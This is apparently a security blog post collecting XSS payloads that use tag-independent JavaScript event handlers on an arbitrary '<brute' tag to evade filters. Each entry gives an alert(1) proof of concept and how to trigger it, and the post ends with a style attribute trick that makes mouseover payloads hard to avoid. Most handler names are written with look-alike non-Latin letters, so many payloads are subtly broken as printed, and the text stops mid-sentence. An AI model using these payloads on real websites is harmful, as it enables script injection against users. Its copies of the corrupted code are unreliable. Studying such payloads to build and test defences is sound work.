When building XSS payloads, some javascript event handlers can be used regardless of the tag used and work on the 5 major browsers until date (Chrome, Firefox, IE/Edge, Safari and Opera) hence the term “agnostic”.
When we use the term “regardless”, we mean almost any existent HTML tag (very few exceptions) and also XML ones (arbitrary tags).
They are very useful for filter evasion because with them we have no tag name restrictions. They also allow some useful tricks for XSS payload building (to be shown in future posts).
For the following examples of simple payloads with agnostic event handlers, we will use the arbitrary tag “<brute” with the help of the “contenteditable” attribute in some of them.
onblur
<brute contenteditable οnblur=alert(1)>lose focus!
Trigger: click with the mouse left button on the “lose focus!” text (or use tab key to go to it) and then click out of it (or use tab key again).
onclick
<brute οnclick=alert(1)>click this!
Trigger: click with the mouse left button on the “click this!” text.
oncopy
<brute οncοpy=alert(1)>copy this!
Trigger: mark the “copy this!” text clicking and holding the left button of the mouse on it, dragging the cursor. Copy the marked text with ctrl+c keys or choosing it in the mouse’s right-click menu option. The tab key may also be used instead of marking the text.
oncontextmenu
<brute οncοntextmenu=alert(1)>right click this!
Trigger: click with the mouse right button on the “right click this!” text.
oncut
<brute oncut=alert(1)>copy this!
Trigger: mark the “copy this!” text clicking and holding the left button of the mouse on it, dragging the cursor. Copy the marked text with ctrl+x keys or choosing it in the mouse’s right-click menu option. The tab key may also be used instead of marking the text.
ondblclick
<brute οndblclick=alert(1)>double click this!
Trigger: click twice with the mouse left button on the “double click this!” text.
ondrag
<brute οndrag=alert(1)>drag this!
Trigger: mark all the “drag this!” text clicking and holding the left button of the mouse on it, dragging the cursor. Click and hold the mouse left button on the marked text and drag it.
onfocus
<brute contenteditable οnfοcus=alert(1)>focus this!
Trigger: click with a mouse button on the “focus this!” text or use tab key to go to it.
oninput
<brute contenteditable οninput=alert(1)>input here!
Trigger: click with the mouse left button on “input here!” text or use tab key to go to it and then enter a character (alphanumeric or special ones).
onkeydown
<brute contenteditable οnkeydοwn=alert(1)>press any key!
Trigger: click with the mouse left button on “press any key!” text or use tab key to go to it and then press a key.
onkeypress
<brute contenteditable οnkeypress=alert(1)>press any key!
Trigger: click with the mouse left button on “press any key!” text or use tab key to go to it and then press a key.
onkeyup
<brute contenteditable οnkeyup=alert(1)>press any key!
Trigger: click on “press any key!” text or use tab key to go to it and then press a key.
onmousedown
<brute οnmοusedοwn=alert(1)>click this!
Trigger: click with a mouse button on the “click this!” text.
onmousemove
<brute οnmοusemοve=alert(1)>hover this!
Trigger: place the mouse pointer over the “hover this!” text and then move it.
onmouseout
<brute οnmοuseοut=alert(1)>hover this!
Trigger: place the mouse pointer over the “hover this!” text and then place out of it.
onmouseover
<brute οnmοuseοver=alert(1)>hover this!
Trigger: place the mouse pointer over the “hover this!” text.
onmouseup
<brute οnmοuseup=alert(1)>click this!
Trigger: click and release a mouse button on the “click this!” text.
onpaste
<brute contenteditable οnpaste=alert(1)>paste here!
Trigger: mark any text somewhere by clicking and holding the left button of the mouse on it, dragging the cursor. Copy (or cut) the marked text with ctrl+c (or ctrl+x) keys or choosing it in the mouse’s right-click menu option. The tab key may also be used instead of marking the text. Usually we already have something to paste, so we may skip this step. After it, paste it in the “paste here!” text with ctrl+v keys or choosing it in the mouse’s right-click menu option
Although they require user interaction, depending on the context it may be trivial to trigger the payload. In some cases it’s almost unavoidable like in the payloads with the style attribute enlarging the surface for “onmouse” events for example:
<brute style=font-size:500px οnmοuseοver=alert(1)>0000
You may test them on: